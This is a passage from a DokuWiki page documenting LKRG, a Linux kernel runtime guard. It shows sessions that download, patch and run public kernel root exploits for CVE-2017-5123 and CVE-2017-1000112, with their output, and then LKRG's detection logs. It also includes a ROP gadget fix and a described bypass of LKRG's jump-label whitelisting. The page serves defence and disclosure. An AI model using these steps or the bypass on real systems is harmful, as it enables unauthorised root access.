Note: There is a bug in the ROP chain in that exploit. To be able to successfully run the exploit code following gadget must be fixed:

#define INCREASE_RSP_0x60 0xffffffff811465e6

On Ubuntu kernel 4.13.0-12-generic this gadget increases the stack by 0x50 bytes not 0x60:

(gdb) x/4i 0xffffffffa5200000 + 0x1465e6
   0xffffffffa53465e6:  add    $0x50,%rsp
   0xffffffffa53465ea:  pop    %r10
   0xffffffffa53465ec:  pop    %rbp
   0xffffffffa53465ed:  retq
(gdb)

Appropriate changes need to be made in do_exploit() function to take this into account.

Exploitation Window:

Successful exploitation process can be seen as follow:

login as: pi3
pi3@192.168.1.30's password:
Welcome to Ubuntu 16.04.3 LTS (GNU/Linux 4.13.0-12-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

143 packages can be updated.
60 updates are security updates.


Unable to get valid context for pi3
Last login: Tue Dec 19 19:33:00 2017 from 192.168.1.16
pi3@pi3-ubuntu:~$ mkdir -p seccomp/exp/
pi3@pi3-ubuntu:~$ cd seccomp/exp/
pi3@pi3-ubuntu:~/seccomp/exp$ wget https://github.com/salls/kernel-exploits/raw/master/CVE-2017-5123/chrome_seccomp_filter
--2017-12-19 19:28:10--  https://github.com/salls/kernel-exploits/raw/master/CVE-2017-5123/chrome_seccomp_filter
Resolving github.com (github.com)... 192.30.255.112, 192.30.255.113
Connecting to github.com (github.com)|192.30.255.112|:443... connected.
HTTP request sent, awaiting response... 302 Found
Location: https://raw.githubusercontent.com/salls/kernel-exploits/master/CVE-2017-5123/chrome_seccomp_filter [following]
--2017-12-19 19:28:10--  https://raw.githubusercontent.com/salls/kernel-exploits/master/CVE-2017-5123/chrome_seccomp_filter
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 151.101.52.133
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|151.101.52.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3712 (3.6K) [application/octet-stream]
Saving to: ‘chrome_seccomp_filter’

chrome_seccomp_filter                   100%[============================================================================>]   3.62K  --.-KB/s    in 0s

2017-12-19 19:28:10 (80.1 MB/s) - ‘chrome_seccomp_filter’ saved [3712/3712]

pi3@pi3-ubuntu:~/seccomp/exp$ wget https://raw.githubusercontent.com/salls/kernel-exploits/master/CVE-2017-5123/exploit_no_smap.c
--2017-12-19 19:30:00--  https://raw.githubusercontent.com/salls/kernel-exploits/master/CVE-2017-5123/exploit_no_smap.c
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 151.101.52.133
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|151.101.52.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 13121 (13K) [text/plain]
Saving to: ‘exploit_no_smap.c’

exploit_no_smap.c                       100%[============================================================================>]  12.81K  --.-KB/s    in 0.03s

2017-12-19 19:30:00 (450 KB/s) - ‘exploit_no_smap.c’ saved [13121/13121]

pi3@pi3-ubuntu:~/seccomp/exp$ # Need to fix exploit code (ROP gadget alignment) to not crash the kernel ;p
pi3@pi3-ubuntu:~/seccomp/exp$ mcedit -d exploit_no_smap.c
pi3@pi3-ubuntu:~/seccomp/exp$ gcc exploit_no_smap.c -o exploit_no_smap -lpthread
pi3@pi3-ubuntu:~/seccomp/exp$ ./exploit_no_smap
Installed sandboxes. Seccomp, chroot, uid namespace ==

found kernel base 0xffffffffa5200000
Executing rop chain
Should be root
# id
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:kernel_t:s0
# exit

If LKRG is installed, exploitation process is detected and successfully stopped:

pi3@pi3-ubuntu:~/seccomp/exp$ ./exploit_no_smap
Installed sandboxes. Seccomp, chroot, uid namespace
found kernel base 0xffffffffa5200000
Executing rop chain

Should be root
Killed
pi3@pi3-ubuntu:~/seccomp/exp$

Detection Window:

If LKRG is installed, exploitation process is detected and successfully stopped:

Dec 19 19:33:58 pi3-ubuntu kernel: [   70.645615] [p_lkrg] <Exploit Detection> Detected pointer swapping attack!process[1486 | exploit_no_smap] has different 'cred' pointer [0xffff9560a5d886c0 vs 0xffff9560a5d88300]
Dec 19 19:33:58 pi3-ubuntu kernel: [   70.645653] [p_lkrg] <Exploit Detection> Detected pointer swapping attack!process[1486 | exploit_no_smap] has different 'real_cred' pointer [0xffff9560a5d886c0 vs 0xffff9560a5d88300]
Dec 19 19:33:58 pi3-ubuntu kernel: [   70.645685] [p_lkrg] <Exploit Detection> process[1486 | exploit_no_smap] has different UID! 1000 vs 0
Dec 19 19:33:58 pi3-ubuntu kernel: [   70.645704] [p_lkrg] <Exploit Detection> process[1486 | exploit_no_smap] has different EUID! 1000 vs 0
Dec 19 19:33:58 pi3-ubuntu kernel: [   70.645723] [p_lkrg] <Exploit Detection> process[1486 | exploit_no_smap] has different SUID! 1000 vs 0
Dec 19 19:33:58 pi3-ubuntu kernel: [   70.645742] [p_lkrg] <Exploit Detection> process[1486 | exploit_no_smap] has different FSUID! 1000 vs 0
Dec 19 19:33:58 pi3-ubuntu kernel: [   70.645761] [p_lkrg] <Exploit Detection> process[1486 | exploit_no_smap] has different GID! 1000 vs 0
Dec 19 19:33:58 pi3-ubuntu kernel: [   70.645780] [p_lkrg] <Exploit Detection> process[1486 | exploit_no_smap] has different EGID! 1000 vs 0
Dec 19 19:33:58 pi3-ubuntu kernel: [   70.645799] [p_lkrg] <Exploit Detection> process[1486 | exploit_no_smap] has different SGID! 1000 vs 0
Dec 19 19:33:58 pi3-ubuntu kernel: [   70.645817] [p_lkrg] <Exploit Detection> process[1486 | exploit_no_smap] has different FSGID! 1000 vs 0
Dec 19 19:33:58 pi3-ubuntu kernel: [   70.645836] [p_lkrg] <Exploit Detection> Detected SECCOMP corruption!process[1486 | exploit_no_smap] has corrupted TIF_SECCOMP flag! [1 vs 0]
Dec 19 19:33:58 pi3-ubuntu kernel: [   70.645862] [p_lkrg] <Exploit Detection> Detected SECCOMP corruption!process[1486 | exploit_no_smap] has different SECCOMP mode! [SECCOMP_MODE_FILTER vs SECCOMP_MODE_DISABLED]
Dec 19 19:33:58 pi3-ubuntu kernel: [   70.645894] [p_lkrg] <Exploit Detection> Detected SECCOMP corruption!process[1486 | exploit_no_smap] has different SECCOMP filter pointer! [0xffff9560a4345600 vs 0x          (null)]
Dec 19 19:33:58 pi3-ubuntu kernel: [   70.645925] [p_lkrg] <Exploit Detection> Trying to kill process[exploit_no_smap | 1486]!
Dec 19 19:35:25 pi3-ubuntu kernel: [  157.976342] hv_balloon: Balloon request will be partially fulfilled. Balloon floor reached.

CVE-2017-1000112: memory corruption due to UFO to non-UFO path switch - Ubuntu 16.04

Exploitation Window:

Successful exploitation process can be seen as follow:

login as: pi3
pi3@192.168.1.30's password:
Welcome to Ubuntu 16.04.3 LTS (GNU/Linux 4.8.0-52-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

143 packages can be updated.
60 updates are security updates.


Unable to get valid context for pi3
Last login: Fri Feb  9 21:16:57 2018 from 192.168.1.18
pi3@pi3-ubuntu:~$ mkdir CVE-2017-1000112
pi3@pi3-ubuntu:~$ cd CVE-2017-1000112
pi3@pi3-ubuntu:~/CVE-2017-1000112$ wget https://raw.githubusercontent.com/xairy/kernel-exploits/master/CVE-2017-1000112/poc.c
--2018-02-09 21:18:24--  https://raw.githubusercontent.com/xairy/kernel-exploits/master/CVE-2017-1000112/poc.c
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 151.101.52.133
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|151.101.52.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 22886 (22K) [text/plain]
Saving to: ‘poc.c’

poc.c                                   100%[============================================================================>]  22.35K  --.-KB/s    in 0.01s

2018-02-09 21:18:24 (1.61 MB/s) - ‘poc.c’ saved [22886/22886]

pi3@pi3-ubuntu:~/CVE-2017-1000112$ gcc poc.c -o poc
pi3@pi3-ubuntu:~/CVE-2017-1000112$ id
uid=1000(pi3) gid=1000(pi3) groups=1000(pi3),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare) context=system_u:system_r:kernel_t:s0
pi3@pi3-ubuntu:~/CVE-2017-1000112$ ./poc
[.] starting
[.] checking distro and kernel versions
[.] kernel version '4.8.0-52-generic' detected
[~] done, versions looks good
[.] checking SMEP and SMAP
[~] done, looks good
[.] setting up namespace sandbox
[~] done, namespace sandbox set up
[.] KASLR bypass enabled, getting kernel addr
[~] done, kernel text:   ffffffff82a00000
[.] commit_creds:        ffffffff82aa5d00
[.] prepare_kernel_cred: ffffffff82aa60f0
[.] SMEP bypass enabled, mmapping fake stack
[~] done, fake stack mmapped
[.] executing payload ffffffff82a17c55
[~] done, should be root now
[.] checking if we got root
[+] got r00t ^_^
root@pi3-ubuntu:/home/pi3/CVE-2017-1000112# id
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:kernel_t:s0
root@pi3-ubuntu:/home/pi3/CVE-2017-1000112# exit
exit
pi3@pi3-ubuntu:~/CVE-2017-1000112$ 

If LKRG is installed, exploitation process is detected and successfully stopped:

pi3@pi3-ubuntu:~/CVE-2017-1000112$ id
uid=1000(pi3) gid=1000(pi3) groups=1000(pi3),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare) context=system_u:system_r:kernel_t:s0
pi3@pi3-ubuntu:~/CVE-2017-1000112$ ./poc
[.] starting
[.] checking distro and kernel versions
[.] kernel version '4.8.0-52-generic' detected
[~] done, versions looks good
[.] checking SMEP and SMAP
[~] done, looks good
[.] setting up namespace sandbox
[~] done, namespace sandbox set up
[.] KASLR bypass enabled, getting kernel addr
[~] done, kernel text:   ffffffff82a00000
[.] commit_creds:        ffffffff82aa5d00
[.] prepare_kernel_cred: ffffffff82aa60f0
[.] SMEP bypass enabled, mmapping fake stack
[~] done, fake stack mmapped
[.] executing payload ffffffff82a17c55
[~] done, should be root now
[.] checking if we got root
Killed
pi3@pi3-ubuntu:~/CVE-2017-1000112$ id
uid=1000(pi3) gid=1000(pi3) groups=1000(pi3),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare) context=system_u:system_r:kernel_t:s0
pi3@pi3-ubuntu:~/CVE-2017-1000112$

Detection Window:

If LKRG is installed, exploitation process is detected and successfully stopped:

Feb  9 21:20:33 pi3-ubuntu kernel: [  228.864932] [p_lkrg] Loading LKRG...
Feb  9 21:20:34 pi3-ubuntu kernel: [  229.159677] [p_lkrg] LKRG initialized successfully!
Feb  9 21:20:40 pi3-ubuntu kernel: [  235.372066] [p_lkrg] <Exploit Detection> Detected pointer swapping attack!process[2399 | poc] has different 'cred' pointer [0xffff8d1bab32ed80 vs 0xffff8d1bb1a50180]
Feb  9 21:20:40 pi3-ubuntu kernel: [  235.372104] [p_lkrg] <Exploit Detection> Detected pointer swapping attack!process[2399 | poc] has different 'real_cred' pointer [0xffff8d1bab32ed80 vs 0xffff8d1bb1a50180]
Feb  9 21:20:40 pi3-ubuntu kernel: [  235.372137] [p_lkrg] <Exploit Detection> process[2399 | poc] has different UID! 1000 vs 0
Feb  9 21:20:40 pi3-ubuntu kernel: [  235.372155] [p_lkrg] <Exploit Detection> process[2399 | poc] has different EUID! 1000 vs 0
Feb  9 21:20:40 pi3-ubuntu kernel: [  235.372174] [p_lkrg] <Exploit Detection> process[2399 | poc] has different SUID! 1000 vs 0
Feb  9 21:20:40 pi3-ubuntu kernel: [  235.372192] [p_lkrg] <Exploit Detection> process[2399 | poc] has different FSUID! 1000 vs 0
Feb  9 21:20:40 pi3-ubuntu kernel: [  235.372210] [p_lkrg] <Exploit Detection> process[2399 | poc] has different GID! 1000 vs 0
Feb  9 21:20:40 pi3-ubuntu kernel: [  235.372228] [p_lkrg] <Exploit Detection> process[2399 | poc] has different EGID! 1000 vs 0
Feb  9 21:20:40 pi3-ubuntu kernel: [  235.372247] [p_lkrg] <Exploit Detection> process[2399 | poc] has different SGID! 1000 vs 0
Feb  9 21:20:40 pi3-ubuntu kernel: [  235.372265] [p_lkrg] <Exploit Detection> process[2399 | poc] has different FSGID! 1000 vs 0
Feb  9 21:20:40 pi3-ubuntu kernel: [  235.372284] [p_lkrg] <Exploit Detection> Trying to kill process[poc | 2399]!

TODO

  • Detect Capabilities corruption
  • Detect namespace escapes (Sandbox escapes)
  • Cover more kernel EoPs techniques
  • More…

Caveats

  1. Sometimes there is a legit way to “rise” current credentials for the task e.g. program executed via 'sudo' or 'su'. In order to avoid False Possitivies, LKRG intercepts every set*id() syscalls and monitors the return value. If syscall is successfully executed, LKRG rebuilds the knowledge about critical attributes for that process.
  2. Sometimes task doesn't “rise” its own credential but still allocates a new structure for it with old parameters (e.g. ssh?). In order to avoid False Positives (as “Token swapping” attack), LKRG checks whether the new credential structure introduces a “higher” privilege than the task should have.


HOWTO use it...

Some of the examples how to use LKRG can be found here.

Caveats

(*JUMP_LABEL)

As soon as LKRG is loaded in the system, none of the .text section modifications is allowed. This is also true for the official Linux APIs which sometimes does patch(!) it. One of the examples might be kprobes interface. It is injecting 0xCC instruction on the monitored function. That’s why all modules using kprobes must be loaded BEFORE LKRG. Linux kernel can be compiled to heavily consume low-level runtime patching mechanism called “jump label” (CONFIG_JUMP_LABEL=y). Most of the Linux distributions provide kernel compiled with this option (sometimes extra sub-options - *_JUMP_LABEL). It makes Linux kernel a heavily self-modifying code which is very troublesome for this project (since we are comparing hashes!). Especially, *_JUMP_LABEL is just a low-level mechanism which might be consumed by higher level kernel layers or macros, e.g.:

  • Dynamic kernel debugging
  • Tracepoints
  • Optimization of “highly unlikely” code branches (static keys)
  • Macro DO_ONCE()
  • Probably more ;)

To mitigate this problem LKRG does the following:

  • Keeps a copy of the entire .text section made during module installation (it is guarded in the same way as original .text section)
  • If we detect that .text section for kernel was changed, we try to find the offset where modifications were made. We use this offset to calculate the VA of modified code. If modification happened because of the *_JUMP_LABEL options, either a long NOP or relative 'jmp' instruction was injected (both are 5 bytes long):
    • If NOP is modified to 'jmp', destination of the instruction is still pointing to the inside of the same function (symbol name) where modification happened. We decode this ‘jmp’ instruction to validate if the target is still pointing inside the same symbol name range. If yes, it is most likely a 'legit' modification.
    • If 'jmp' instruction was changed, we only allow it to be replaced by long NOP instruction.
  • Any other modifications are banned
  • If LKRG detects “whitelisted” modification, copy of .text section is updated and new hashes calculated.

NOTE: The following attack is still possible – find injected NOPs (by *_JMP_LABEL) and overwrite them using 'jmp' instruction. Destination of this instruction must point to the random address at the same “symbol name rage”. It allows the attacker to create a rootkit based only on ROP. A few comments are needed here:

  • It is very difficult task to create fully functional rootkit based only on 1-function ROP – but possible
  • At random point of time kernel WILL overwrite these modifications anyway – so these won't be persistent modifications. Moreover, it won't be deterministic so the risk is very low.

Modules

Among others, LKRG covers a .text section of every individual module (you can read about it here) but does NOT support self-modifications. It also applies to a situation when for some reasons *_JUMP_LABELS is used in the modules. Then it won't be whitelisted by LKRG and it will be treated as security violation from the LKRG's point of view. This implies that kernel modules leveraging *_JUMP_LABELS should be compiled not as modules, but as core kernel. Netfilter modules (NF_*) could be an example - they are taking benefits from *_JUMP_LABELS and should be compiled as core kernel in order to correctly cooperate with LKRG and *_JUMP_LABELS whitelistening. Otherwise, any self-modification will be treated as a corruption.

IPI Problem

There is an undesirable situation in SMP Linux machines when sending an IPI. Unfortunately, it might influence the state of the kernel and generating very confusing logs. They appear to suggest that the problem resides on the correct execution context which is killed and dumped, but not on the actually problematic context, which might not be dumped. This makes it hard to root-cause the problem even if one is aware of this shortcoming of the killings and the logging. More details about it can be found here:

http://lists.openwall.net/linux-kernel/2016/09/21/68

LKRG TODO

  • Track down PTEs for the kernel .text section (detect malicious modifications)
  • Better self-protection
  • Implement additional features:
    • Independently expose the list of processes visible for the kernel - can be used to detect hidden processes
    • Independently expose the list of all objects in the specific directory - can be used to detect hidden files / directories
    • Network hooks detection
    • IMPORTANT: Detect kernel exploitation process by detecting specific data corruption in the kernel

License

We will likely use GPLv2 at least for LKRG free. We might or might not use a different license for LKRG Pro, if we ever make it.

Credits

All rights reserved to Adam 'pi3' Zabrocki.

Donation

Sponsors:

  • TODO

Patreoners!

  • TODO

Greetings

I would like to thank the following people who helped me at some point during development of this project:

  • Alexander Peslyak a.k.a. Solar Designer
  • Rafał 'n3rgal' Wojtczuk
  • Brad 'spender' Spengler
  • PaX Team… I mean pipacs :)


p_lkrg/Main.txt · Last modified: 2018/02/09 21:32 by pi3
 
Except where otherwise noted, content on this wiki is licensed under the following license: CC Attribution-Noncommercial-Share Alike 3.0 Unported
Recent changes RSS feed Donate to DokuWiki Powered by PHP Valid XHTML 1.0 Valid CSS Driven by DokuWiki Powered by OpenVZ Powered by Openwall GNU/*/Linux Bookmark and Share